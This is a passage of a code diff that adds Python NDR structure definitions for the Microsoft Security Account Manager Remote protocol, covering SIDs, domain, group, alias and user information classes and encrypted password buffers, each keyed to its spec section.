+class PENCRYPTED_LM_OWF_PASSWORD(NDRPOINTER):
+    referent = (
+        ('Data', ENCRYPTED_LM_OWF_PASSWORD),
+    )
+
+PENCRYPTED_NT_OWF_PASSWORD = PENCRYPTED_LM_OWF_PASSWORD
+
+# 2.2.3.4 SAMPR_ULONG_ARRAY
+#class SAMPR_ULONG_ARRAY(NDRUniConformantVaryingArray):
+#    item = '<L'
+class ULONG_ARRAY(NDRUniConformantArray):
+    item = ULONG
+
+class PULONG_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', ULONG_ARRAY),
+    )
+
+class ULONG_ARRAY_CV(NDRUniConformantVaryingArray):
+    item = ULONG
+
+class SAMPR_ULONG_ARRAY(NDRSTRUCT):
+    structure = (
+        ('Count', ULONG),
+        ('Element', PULONG_ARRAY),
+    )
+
+# 2.2.3.5 SAMPR_SID_INFORMATION
+class SAMPR_SID_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('SidPointer', RPC_SID),
+    )
+
+class PSAMPR_SID_INFORMATION(NDRPOINTER):
+    referent = (
+        ('Data', SAMPR_SID_INFORMATION),
+    )
+
+class SAMPR_SID_INFORMATION_ARRAY(NDRUniConformantArray):
+    item = PSAMPR_SID_INFORMATION
+
+class PSAMPR_SID_INFORMATION_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SAMPR_SID_INFORMATION_ARRAY),
+    )
+
+# 2.2.3.6 SAMPR_PSID_ARRAY
+class SAMPR_PSID_ARRAY(NDRSTRUCT):
+    structure = (
+        ('Count', ULONG),
+        ('Sids', PSAMPR_SID_INFORMATION_ARRAY),
+    )
+
+# 2.2.3.7 SAMPR_PSID_ARRAY_OUT
+class SAMPR_PSID_ARRAY_OUT(NDRSTRUCT):
+    structure = (
+        ('Count', ULONG),
+        ('Sids', PSAMPR_SID_INFORMATION_ARRAY),
+    )
+
+# 2.2.3.8 SAMPR_RETURNED_USTRING_ARRAY
+class SAMPR_RETURNED_USTRING_ARRAY(NDRSTRUCT):
+    structure = (
+        ('Count', ULONG),
+        ('Element', PRPC_UNICODE_STRING_ARRAY),
+    )
+
+# 2.2.3.9 SAMPR_RID_ENUMERATION
+class SAMPR_RID_ENUMERATION(NDRSTRUCT):
+    structure = (
+        ('RelativeId',ULONG),
+        ('Name',RPC_UNICODE_STRING),
+    )
+
+class SAMPR_RID_ENUMERATION_ARRAY(NDRUniConformantArray):
+    item = SAMPR_RID_ENUMERATION
+
+class PSAMPR_RID_ENUMERATION_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SAMPR_RID_ENUMERATION_ARRAY),
+    )
+
+# 2.2.3.10 SAMPR_ENUMERATION_BUFFER
+class SAMPR_ENUMERATION_BUFFER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead',ULONG ),
+        ('Buffer',PSAMPR_RID_ENUMERATION_ARRAY ),
+    )
+
+class PSAMPR_ENUMERATION_BUFFER(NDRPOINTER):
+    referent = (
+        ('Data',SAMPR_ENUMERATION_BUFFER),
+    )
+
+# 2.2.3.11 SAMPR_SR_SECURITY_DESCRIPTOR
+class CHAR_ARRAY(NDRUniConformantArray):
+    pass
+
+class PCHAR_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', CHAR_ARRAY),
+    )
+
+class SAMPR_SR_SECURITY_DESCRIPTOR(NDRSTRUCT):
+    structure = (
+        ('Length', ULONG),
+        ('SecurityDescriptor', PCHAR_ARRAY),
+    )
+
+class PSAMPR_SR_SECURITY_DESCRIPTOR(NDRPOINTER):
+    referent = (
+        ('Data', SAMPR_SR_SECURITY_DESCRIPTOR),
+    )
+
+# 2.2.3.12 GROUP_MEMBERSHIP
+class GROUP_MEMBERSHIP(NDRSTRUCT):
+    structure = (
+        ('RelativeId',ULONG),
+        ('Attributes',ULONG),
+    )
+
+class GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray):
+    item = GROUP_MEMBERSHIP
+
+class PGROUP_MEMBERSHIP_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',GROUP_MEMBERSHIP_ARRAY),
+    )
+
+# 2.2.3.13 SAMPR_GET_GROUPS_BUFFER
+class SAMPR_GET_GROUPS_BUFFER(NDRSTRUCT):
+    structure = (
+        ('MembershipCount',ULONG),
+        ('Groups',PGROUP_MEMBERSHIP_ARRAY),
+    )
+
+class PSAMPR_GET_GROUPS_BUFFER(NDRPOINTER):
+    referent = (
+        ('Data',SAMPR_GET_GROUPS_BUFFER),
+    )
+
+# 2.2.3.14 SAMPR_GET_MEMBERS_BUFFER
+class SAMPR_GET_MEMBERS_BUFFER(NDRSTRUCT):
+    structure = (
+        ('MemberCount', ULONG),
+        ('Members', PULONG_ARRAY),
+        ('Attributes', PULONG_ARRAY),
+    )
+
+class PSAMPR_GET_MEMBERS_BUFFER(NDRPOINTER):
+    referent = (
+        ('Data', SAMPR_GET_MEMBERS_BUFFER),
+    )
+
+# 2.2.3.15 SAMPR_REVISION_INFO_V1
+class SAMPR_REVISION_INFO_V1(NDRSTRUCT):
+    structure = (
+       ('Revision',ULONG),
+       ('SupportedFeatures',ULONG),
+    )
+
+# 2.2.3.16 SAMPR_REVISION_INFO
+class SAMPR_REVISION_INFO(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+
+    union = {
+        1: ('V1', SAMPR_REVISION_INFO_V1),
+    }
+
+# 2.2.3.17 USER_DOMAIN_PASSWORD_INFORMATION
+class USER_DOMAIN_PASSWORD_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('MinPasswordLength', USHORT),
+        ('PasswordProperties', ULONG),
+    )
+
+# 2.2.4.2 DOMAIN_SERVER_ENABLE_STATE
+class DOMAIN_SERVER_ENABLE_STATE(NDRENUM):
+    class enumItems(Enum):
+        DomainServerEnabled  = 1
+        DomainServerDisabled = 2
+
+# 2.2.4.3 DOMAIN_STATE_INFORMATION
+class DOMAIN_STATE_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('DomainServerState', DOMAIN_SERVER_ENABLE_STATE),
+    )
+
+# 2.2.4.4 DOMAIN_SERVER_ROLE
+class DOMAIN_SERVER_ROLE(NDRENUM):
+    class enumItems(Enum):
+        DomainServerRoleBackup  = 2
+        DomainServerRolePrimary = 3
+
+# 2.2.4.5 DOMAIN_PASSWORD_INFORMATION
+class DOMAIN_PASSWORD_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('MinPasswordLength', USHORT),
+        ('PasswordHistoryLength', USHORT),
+        ('PasswordProperties', ULONG),
+        ('MaxPasswordAge', OLD_LARGE_INTEGER),
+        ('MinPasswordAge', OLD_LARGE_INTEGER),
+    )
+
+# 2.2.4.6 DOMAIN_LOGOFF_INFORMATION
+class DOMAIN_LOGOFF_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('ForceLogoff', OLD_LARGE_INTEGER),
+    )
+
+# 2.2.4.7 DOMAIN_SERVER_ROLE_INFORMATION
+class DOMAIN_SERVER_ROLE_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('DomainServerRole', DOMAIN_SERVER_ROLE),
+    )
+
+# 2.2.4.8 DOMAIN_MODIFIED_INFORMATION
+class DOMAIN_MODIFIED_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('DomainModifiedCount', OLD_LARGE_INTEGER),
+        ('CreationTime', OLD_LARGE_INTEGER),
+    )
+
+# 2.2.4.9 DOMAIN_MODIFIED_INFORMATION2
+class DOMAIN_MODIFIED_INFORMATION2(NDRSTRUCT):
+    structure = (
+        ('DomainModifiedCount', OLD_LARGE_INTEGER),
+        ('CreationTime', OLD_LARGE_INTEGER),
+        ('ModifiedCountAtLastPromotion', OLD_LARGE_INTEGER),
+    )
+
+# 2.2.4.10 SAMPR_DOMAIN_GENERAL_INFORMATION
+class SAMPR_DOMAIN_GENERAL_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('ForceLogoff', OLD_LARGE_INTEGER),
+        ('OemInformation', RPC_UNICODE_STRING),
+        ('DomainName', RPC_UNICODE_STRING),
+        ('ReplicaSourceNodeName', RPC_UNICODE_STRING),
+        ('DomainModifiedCount', OLD_LARGE_INTEGER),
+        ('DomainServerState', ULONG),
+        ('DomainServerRole', ULONG),
+        ('UasCompatibilityRequired', UCHAR),
+        ('UserCount', ULONG),
+        ('GroupCount', ULONG),
+        ('AliasCount', ULONG),
+    )
+
+# 2.2.4.11 SAMPR_DOMAIN_GENERAL_INFORMATION2
+class SAMPR_DOMAIN_GENERAL_INFORMATION2(NDRSTRUCT):
+    structure = (
+        ('I1', SAMPR_DOMAIN_GENERAL_INFORMATION),
+        ('LockoutDuration', LARGE_INTEGER),
+        ('LockoutObservationWindow', LARGE_INTEGER),
+        ('LockoutThreshold', USHORT),
+    )
+
+# 2.2.4.12 SAMPR_DOMAIN_OEM_INFORMATION
+class SAMPR_DOMAIN_OEM_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('OemInformation', RPC_UNICODE_STRING),
+    )
+
+# 2.2.4.13 SAMPR_DOMAIN_NAME_INFORMATION
+class SAMPR_DOMAIN_NAME_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('DomainName', RPC_UNICODE_STRING),
+    )
+
+# 2.2.4.14 SAMPR_DOMAIN_REPLICATION_INFORMATION
+class SAMPR_DOMAIN_REPLICATION_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('ReplicaSourceNodeName', RPC_UNICODE_STRING),
+    )
+
+# 2.2.4.15 SAMPR_DOMAIN_LOCKOUT_INFORMATION
+class SAMPR_DOMAIN_LOCKOUT_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('LockoutDuration', LARGE_INTEGER),
+        ('LockoutObservationWindow', LARGE_INTEGER),
+        ('LockoutThreshold', USHORT),
+    )
+
+# 2.2.4.16 DOMAIN_INFORMATION_CLASS
+class DOMAIN_INFORMATION_CLASS(NDRENUM):
+    class enumItems(Enum):
+        DomainPasswordInformation    = 1
+        DomainGeneralInformation     = 2
+        DomainLogoffInformation      = 3
+        DomainOemInformation         = 4
+        DomainNameInformation        = 5
+        DomainReplicationInformation = 6
+        DomainServerRoleInformation  = 7
+        DomainModifiedInformation    = 8
+        DomainStateInformation       = 9
+        DomainGeneralInformation2    = 11
+        DomainLockoutInformation     = 12
+        DomainModifiedInformation2   = 13
+
+# 2.2.4.17 SAMPR_DOMAIN_INFO_BUFFER
+class SAMPR_DOMAIN_INFO_BUFFER(NDRUNION):
+    union = {
+        DOMAIN_INFORMATION_CLASS.DomainPasswordInformation    : ('Password', DOMAIN_PASSWORD_INFORMATION),
+        DOMAIN_INFORMATION_CLASS.DomainGeneralInformation     : ('General', SAMPR_DOMAIN_GENERAL_INFORMATION),
+        DOMAIN_INFORMATION_CLASS.DomainLogoffInformation      : ('Logoff', DOMAIN_LOGOFF_INFORMATION),
+        DOMAIN_INFORMATION_CLASS.DomainOemInformation         : ('Oem', SAMPR_DOMAIN_OEM_INFORMATION),
+        DOMAIN_INFORMATION_CLASS.DomainNameInformation        : ('Name', SAMPR_DOMAIN_NAME_INFORMATION),
+        DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation  : ('Role', DOMAIN_SERVER_ROLE_INFORMATION),
+        DOMAIN_INFORMATION_CLASS.DomainReplicationInformation : ('Replication', SAMPR_DOMAIN_REPLICATION_INFORMATION),
+        DOMAIN_INFORMATION_CLASS.DomainModifiedInformation    : ('Modified', DOMAIN_MODIFIED_INFORMATION),
+        DOMAIN_INFORMATION_CLASS.DomainStateInformation       : ('State', DOMAIN_STATE_INFORMATION),
+        DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2    : ('General2', SAMPR_DOMAIN_GENERAL_INFORMATION2),
+        DOMAIN_INFORMATION_CLASS.DomainLockoutInformation     : ('Lockout', SAMPR_DOMAIN_LOCKOUT_INFORMATION),
+        DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2   : ('Modified2', DOMAIN_MODIFIED_INFORMATION2),
+    }
+
+class PSAMPR_DOMAIN_INFO_BUFFER(NDRPOINTER):
+    referent = (
+        ('Data', SAMPR_DOMAIN_INFO_BUFFER),
+    )
+
+# 2.2.5.2 GROUP_ATTRIBUTE_INFORMATION
+class GROUP_ATTRIBUTE_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Attributes', ULONG),
+    )
+
+# 2.2.5.3 SAMPR_GROUP_GENERAL_INFORMATION
+class SAMPR_GROUP_GENERAL_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING),
+        ('Attributes', ULONG),
+        ('MemberCount', ULONG),
+        ('AdminComment', RPC_UNICODE_STRING),
+    )
+
+# 2.2.5.4 SAMPR_GROUP_NAME_INFORMATION
+class SAMPR_GROUP_NAME_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING),
+    )
+
+# 2.2.5.5 SAMPR_GROUP_ADM_COMMENT_INFORMATION
+class SAMPR_GROUP_ADM_COMMENT_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('AdminComment', RPC_UNICODE_STRING),
+    )
+
+# 2.2.5.6 GROUP_INFORMATION_CLASS
+class GROUP_INFORMATION_CLASS(NDRENUM):
+    class enumItems(Enum):
+        GroupGeneralInformation      = 1
+        GroupNameInformation         = 2
+        GroupAttributeInformation    = 3
+        GroupAdminCommentInformation = 4
+        GroupReplicationInformation  = 5
+
+# 2.2.5.7 SAMPR_GROUP_INFO_BUFFER
+class SAMPR_GROUP_INFO_BUFFER(NDRUNION):
+    union = {
+        GROUP_INFORMATION_CLASS.GroupGeneralInformation      : ('General', SAMPR_GROUP_GENERAL_INFORMATION),
+        GROUP_INFORMATION_CLASS.GroupNameInformation         : ('Name', SAMPR_GROUP_NAME_INFORMATION),
+        GROUP_INFORMATION_CLASS.GroupAttributeInformation    : ('Attribute', GROUP_ATTRIBUTE_INFORMATION),
+        GROUP_INFORMATION_CLASS.GroupAdminCommentInformation : ('AdminComment', SAMPR_GROUP_ADM_COMMENT_INFORMATION),
+        GROUP_INFORMATION_CLASS.GroupReplicationInformation  : ('DoNotUse', SAMPR_GROUP_GENERAL_INFORMATION),
+    }
+
+class PSAMPR_GROUP_INFO_BUFFER(NDRPOINTER):
+    referent = (
+        ('Data', SAMPR_GROUP_INFO_BUFFER),
+    )
+
+# 2.2.6.2 SAMPR_ALIAS_GENERAL_INFORMATION
+class SAMPR_ALIAS_GENERAL_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING),
+        ('MemberCount', ULONG),
+        ('AdminComment', RPC_UNICODE_STRING),
+    )
+
+# 2.2.6.3 SAMPR_ALIAS_NAME_INFORMATION
+class SAMPR_ALIAS_NAME_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING),
+    )
+
+# 2.2.6.4 SAMPR_ALIAS_ADM_COMMENT_INFORMATION
+class SAMPR_ALIAS_ADM_COMMENT_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('AdminComment', RPC_UNICODE_STRING),
+    )
+
+# 2.2.6.5 ALIAS_INFORMATION_CLASS
+class ALIAS_INFORMATION_CLASS(NDRENUM):
+    class enumItems(Enum):
+        AliasGeneralInformation      = 1
+        AliasNameInformation         = 2
+        AliasAdminCommentInformation = 3
+
+# 2.2.6.6 SAMPR_ALIAS_INFO_BUFFER
+class SAMPR_ALIAS_INFO_BUFFER(NDRUNION):
+    union = {
+        ALIAS_INFORMATION_CLASS.AliasGeneralInformation      : ('General', SAMPR_ALIAS_GENERAL_INFORMATION),
+        ALIAS_INFORMATION_CLASS.AliasNameInformation         : ('Name', SAMPR_ALIAS_NAME_INFORMATION),
+        ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation : ('AdminComment', SAMPR_ALIAS_ADM_COMMENT_INFORMATION),
+    }
+
+class PSAMPR_ALIAS_INFO_BUFFER(NDRPOINTER):
+    referent = (
+        ('Data', SAMPR_ALIAS_INFO_BUFFER),
+    )
+
+# 2.2.7.2 USER_PRIMARY_GROUP_INFORMATION
+class USER_PRIMARY_GROUP_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('PrimaryGroupId', ULONG),
+    )
+
+# 2.2.7.3 USER_CONTROL_INFORMATION
+class USER_CONTROL_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('UserAccountControl', ULONG),
+    )
+
+# 2.2.7.4 USER_EXPIRES_INFORMATION
+class USER_EXPIRES_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('AccountExpires', OLD_LARGE_INTEGER),
+    )
+
+# 2.2.7.5 SAMPR_LOGON_HOURS
+class LOGON_HOURS_ARRAY(NDRUniConformantVaryingArray):
+    pass
+
+class PLOGON_HOURS_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LOGON_HOURS_ARRAY),
+    )
+
+class SAMPR_LOGON_HOURS(NDRSTRUCT):
+    structure = (
+        #('UnitsPerWeek', NDRSHORT),
+        ('UnitsPerWeek', ULONG),
+        ('LogonHours', PLOGON_HOURS_ARRAY),
+    )
+
+    def getData(self, soFar = 0):
+        if self['LogonHours'] != 0:
+            self['UnitsPerWeek'] = len(self['LogonHours']) * 8
+        return NDR.getData(self, soFar)
+
+# 2.2.7.6 SAMPR_USER_ALL_INFORMATION
+class SAMPR_USER_ALL_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('LastLogon', OLD_LARGE_INTEGER),
+        ('LastLogoff', OLD_LARGE_INTEGER),
+        ('PasswordLastSet', OLD_LARGE_INTEGER),
+        ('AccountExpires', OLD_LARGE_INTEGER),
+        ('PasswordCanChange', OLD_LARGE_INTEGER),
+        ('PasswordMustChange', OLD_LARGE_INTEGER),
+        ('UserName', RPC_UNICODE_STRING),
+        ('FullName', RPC_UNICODE_STRING),
+        ('HomeDirectory', RPC_UNICODE_STRING),
+        ('HomeDirectoryDrive', RPC_UNICODE_STRING),
+        ('ScriptPath', RPC_UNICODE_STRING),
+        ('ProfilePath', RPC_UNICODE_STRING),
+        ('AdminComment', RPC_UNICODE_STRING),
+        ('WorkStations', RPC_UNICODE_STRING),
+        ('UserComment', RPC_UNICODE_STRING),
+        ('Parameters', RPC_UNICODE_STRING),
+
+        ('LmOwfPassword', RPC_SHORT_BLOB),
+        ('NtOwfPassword', RPC_SHORT_BLOB),
+        ('PrivateData', RPC_UNICODE_STRING),
+
+        ('SecurityDescriptor', SAMPR_SR_SECURITY_DESCRIPTOR),
+
+        ('UserId', ULONG),
+        ('PrimaryGroupId', ULONG),
+        ('UserAccountControl', ULONG),
+        ('WhichFields', ULONG),
+        ('LogonHours', SAMPR_LOGON_HOURS),
+        ('BadPasswordCount', USHORT),
+        ('LogonCount', USHORT),
+        ('CountryCode', USHORT),
+        ('CodePage', USHORT),
+        ('LmPasswordPresent', UCHAR),
+        ('NtPasswordPresent', UCHAR),
+        ('PasswordExpired', UCHAR),
+        ('PrivateDataSensitive', UCHAR),
+    )
+
+# 2.2.7.7 SAMPR_USER_GENERAL_INFORMATION
+class SAMPR_USER_GENERAL_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('UserName', RPC_UNICODE_STRING),
+        ('FullName', RPC_UNICODE_STRING),
+        ('PrimaryGroupId', ULONG),
+        ('AdminComment', RPC_UNICODE_STRING),
+        ('UserComment', RPC_UNICODE_STRING),
+    )
+
+# 2.2.7.8 SAMPR_USER_PREFERENCES_INFORMATION
+class SAMPR_USER_PREFERENCES_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('UserComment', RPC_UNICODE_STRING),
+        ('Reserved1', RPC_UNICODE_STRING),
+        ('CountryCode', USHORT),
+        ('CodePage', USHORT),
+    )
+
+# 2.2.7.9 SAMPR_USER_PARAMETERS_INFORMATION
+class SAMPR_USER_PARAMETERS_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Parameters', RPC_UNICODE_STRING),
+    )
+
+# 2.2.7.10 SAMPR_USER_LOGON_INFORMATION
+class SAMPR_USER_LOGON_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('UserName', RPC_UNICODE_STRING),
+        ('FullName', RPC_UNICODE_STRING),
+        ('UserId', ULONG),
+        ('PrimaryGroupId', ULONG),
+        ('HomeDirectory', RPC_UNICODE_STRING),
+        ('HomeDirectoryDrive', RPC_UNICODE_STRING),
+        ('ScriptPath', RPC_UNICODE_STRING),
+        ('ProfilePath', RPC_UNICODE_STRING),
+        ('WorkStations', RPC_UNICODE_STRING),
+        ('LastLogon', OLD_LARGE_INTEGER),
+        ('LastLogoff', OLD_LARGE_INTEGER),
+        ('PasswordLastSet', OLD_LARGE_INTEGER),
+        ('PasswordCanChange', OLD_LARGE_INTEGER),
+        ('PasswordMustChange', OLD_LARGE_INTEGER),
+        ('LogonHours', SAMPR_LOGON_HOURS),
+        ('BadPasswordCount', USHORT),
+        ('LogonCount', USHORT),
+        ('UserAccountControl', ULONG),
+    )
+
+# 2.2.7.11 SAMPR_USER_ACCOUNT_INFORMATION
+class SAMPR_USER_ACCOUNT_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('UserName', RPC_UNICODE_STRING),
+        ('FullName', RPC_UNICODE_STRING),
+        ('UserId', ULONG),
+        ('PrimaryGroupId', ULONG),
+        ('HomeDirectory', RPC_UNICODE_STRING),
+        ('HomeDirectoryDrive', RPC_UNICODE_STRING),
+        ('ScriptPath', RPC_UNICODE_STRING),
+        ('ProfilePath', RPC_UNICODE_STRING),
+        ('AdminComment', RPC_UNICODE_STRING),
+        ('WorkStations', RPC_UNICODE_STRING),
+        ('LastLogon', OLD_LARGE_INTEGER),
+        ('LastLogoff', OLD_LARGE_INTEGER),
+        ('LogonHours', SAMPR_LOGON_HOURS),
+        ('BadPasswordCount', USHORT),
+        ('LogonCount', USHORT),
+        ('PasswordLastSet', OLD_LARGE_INTEGER),
+        ('AccountExpires', OLD_LARGE_INTEGER),
+        ('UserAccountControl', ULONG)
+    )
+
+# 2.2.7.12 SAMPR_USER_A_NAME_INFORMATION
+class SAMPR_USER_A_NAME_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('UserName', RPC_UNICODE_STRING),
+    )
+
+# 2.2.7.13 SAMPR_USER_F_NAME_INFORMATION
+class SAMPR_USER_F_NAME_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('FullName', RPC_UNICODE_STRING),
+    )
+
+# 2.2.7.14 SAMPR_USER_NAME_INFORMATION
+class SAMPR_USER_NAME_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('UserName', RPC_UNICODE_STRING),
+        ('FullName', RPC_UNICODE_STRING),
+    )
+
+# 2.2.7.15 SAMPR_USER_HOME_INFORMATION
+class SAMPR_USER_HOME_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('HomeDirectory', RPC_UNICODE_STRING),
+        ('HomeDirectoryDrive', RPC_UNICODE_STRING),
+    )
+
+# 2.2.7.16 SAMPR_USER_SCRIPT_INFORMATION
+class SAMPR_USER_SCRIPT_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('ScriptPath', RPC_UNICODE_STRING),
+    )
+
+# 2.2.7.17 SAMPR_USER_PROFILE_INFORMATION
+class SAMPR_USER_PROFILE_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('ProfilePath', RPC_UNICODE_STRING),
+    )
+
+# 2.2.7.18 SAMPR_USER_ADMIN_COMMENT_INFORMATION
+class SAMPR_USER_ADMIN_COMMENT_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('AdminComment', RPC_UNICODE_STRING),
+    )
+
+# 2.2.7.19 SAMPR_USER_WORKSTATIONS_INFORMATION
+class SAMPR_USER_WORKSTATIONS_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('WorkStations', RPC_UNICODE_STRING),
+    )
+
+# 2.2.7.20 SAMPR_USER_LOGON_HOURS_INFORMATION
+class SAMPR_USER_LOGON_HOURS_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('LogonHours', SAMPR_LOGON_HOURS),
+    )
+
+# 2.2.7.21 SAMPR_ENCRYPTED_USER_PASSWORD
+class SAMPR_USER_PASSWORD(NDRSTRUCT):
+    structure = (
+        ('Buffer', '512s=b""'),
+        ('Length', ULONG),
+    )
+    def getAlignment(self):
+        return 4
+
+
+class SAMPR_ENCRYPTED_USER_PASSWORD(NDRSTRUCT):
+    structure = (
+        ('Buffer', '516s=b""'),
+    )
+    def getAlignment(self):
+        return 1
+
+class PSAMPR_ENCRYPTED_USER_PASSWORD(NDRPOINTER):
+    referent = (
+        ('Data', SAMPR_ENCRYPTED_USER_PASSWORD),
+    )
+
+# 2.2.7.22 SAMPR_ENCRYPTED_USER_PASSWORD_NEW
+class SAMPR_ENCRYPTED_USER_PASSWORD_NEW(NDRSTRUCT):
+    structure = (
+        ('Buffer', '532s=b""'),
+    )
+    def getAlignment(self):
+        return 1
+
+# 2.2.7.23 SAMPR_USER_INTERNAL1_INFORMATION
+class SAMPR_USER_INTERNAL1_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('EncryptedNtOwfPassword', ENCRYPTED_NT_OWF_PASSWORD),
+        ('EncryptedLmOwfPassword', ENCRYPTED_LM_OWF_PASSWORD),
+        ('NtPasswordPresent', UCHAR),
+        ('LmPasswordPresent', UCHAR),
+        ('PasswordExpired', UCHAR),
+    )
+
+# 2.2.7.24 SAMPR_USER_INTERNAL4_INFORMATION
+class SAMPR_USER_INTERNAL4_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('I1', SAMPR_USER_ALL_INFORMATION),
+        ('UserPassword', SAMPR_ENCRYPTED_USER_PASSWORD),
+    )
+
+# 2.2.7.25 SAMPR_USER_INTERNAL4_INFORMATION_NEW
+class SAMPR_USER_INTERNAL4_INFORMATION_NEW(NDRSTRUCT):
+    structure = (
+        ('I1', SAMPR_USER_ALL_INFORMATION),
+        ('UserPassword', SAMPR_ENCRYPTED_USER_PASSWORD_NEW),
+    )
+
+# 2.2.7.26 SAMPR_USER_INTERNAL5_INFORMATION
+class SAMPR_USER_INTERNAL5_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('UserPassword', SAMPR_ENCRYPTED_USER_PASSWORD),
+        ('PasswordExpired', UCHAR),
+    )
+
+# 2.2.7.27 SAMPR_USER_INTERNAL5_INFORMATION_NEW
+class SAMPR_USER_INTERNAL5_INFORMATION_NEW(NDRSTRUCT):
+    structure = (
+        ('UserPassword', SAMPR_ENCRYPTED_USER_PASSWORD_NEW),
+        ('PasswordExpired', UCHAR),
+    )
+
+# 2.2.7.28 USER_INFORMATION_CLASS
+class USER_INFORMATION_CLASS(NDRENUM):
+    class enumItems(Enum):
+        UserGeneralInformation      = 1
+        UserPreferencesInformation  = 2
+        UserLogonInformation        = 3
+        UserLogonHoursInformation   = 4
+        UserAccountInformation      = 5
+        UserNameInformation         = 6
+        UserAccountNameInformation  = 7
+        UserFullNameInformation     = 8
+        UserPrimaryGroupInformation = 9
+        UserHomeInformation         = 10
+        UserScriptInformation       = 11
+        UserProfileInformation      = 12
+        UserAdminCommentInformation = 13
+        UserWorkStationsInformation = 14
+        UserControlInformation      = 16
+        UserExpiresInformation      = 17
+        UserInternal1Information    = 18
+        UserParametersInformation   = 20
+        UserAllInformation          = 21
+        UserInternal4Information    = 23
+        UserInternal5Information    = 24
+        UserInternal4InformationNew = 25
+        UserInternal5InformationNew = 26
+
+# 2.2.7.29 SAMPR_USER_INFO_BUFFER
+class SAMPR_USER_INFO_BUFFER(NDRUNION):
+    union = {
+        USER_INFORMATION_CLASS.UserGeneralInformation     : ('General', SAMPR_USER_GENERAL_INFORMATION),
+        USER_INFORMATION_CLASS.UserPreferencesInformation : ('Preferences', SAMPR_USER_PREFERENCES_INFORMATION),
+        USER_INFORMATION_CLASS.UserLogonInformation       : ('Logon', SAMPR_USER_LOGON_INFORMATION),
+        USER_INFORMATION_CLASS.UserLogonHoursInformation  : ('LogonHours', SAMPR_USER_LOGON_HOURS_INFORMATION),
+        USER_INFORMATION_CLASS.UserAccountInformation     : ('Account', SAMPR_USER_ACCOUNT_INFORMATION),
+        USER_INFORMATION_CLASS.UserNameInformation        : ('Name', SAMPR_USER_NAME_INFORMATION),
+        USER_INFORMATION_CLASS.UserAccountNameInformation : ('AccountName', SAMPR_USER_A_NAME_INFORMATION),
+        USER_INFORMATION_CLASS.UserFullNameInformation    : ('FullName', SAMPR_USER_F_NAME_INFORMATION),
+        USER_INFORMATION_CLASS.UserPrimaryGroupInformation: ('PrimaryGroup', USER_PRIMARY_GROUP_INFORMATION),
+        USER_INFORMATION_CLASS.UserHomeInformation        : ('Home', SAMPR_USER_HOME_INFORMATION),
+        USER_INFORMATION_CLASS.UserScriptInformation      : ('Script', SAMPR_USER_SCRIPT_INFORMATION),
+        USER_INFORMATION_CLASS.UserProfileInformation     : ('Profile', SAMPR_USER_PROFILE_INFORMATION),
+        USER_INFORMATION_CLASS.UserAdminCommentInformation: ('AdminComment', SAMPR_USER_ADMIN_COMMENT_INFORMATION),
+        USER_INFORMATION_CLASS.UserWorkStationsInformation: ('WorkStations', SAMPR_USER_WORKSTATIONS_INFORMATION),
+        USER_INFORMATION_CLASS.UserControlInformation     : ('Control', USER_CONTROL_INFORMATION),
+        USER_INFORMATION_CLASS.UserExpiresInformation     : ('Expires', USER_EXPIRES_INFORMATION),
+        USER_INFORMATION_CLASS.UserInternal1Information   : ('Internal1', SAMPR_USER_INTERNAL1_INFORMATION),
+        USER_INFORMATION_CLASS.UserParametersInformation  : ('Parameters', SAMPR_USER_PARAMETERS_INFORMATION ),
+        USER_INFORMATION_CLASS.UserAllInformation         : ('All', SAMPR_USER_ALL_INFORMATION),
+        USER_INFORMATION_CLASS.UserInternal4Information   : ('Internal4', SAMPR_USER_INTERNAL4_INFORMATION),
+        USER_INFORMATION_CLASS.UserInternal5Information   : ('Internal5', SAMPR_USER_INTERNAL5_INFORMATION),
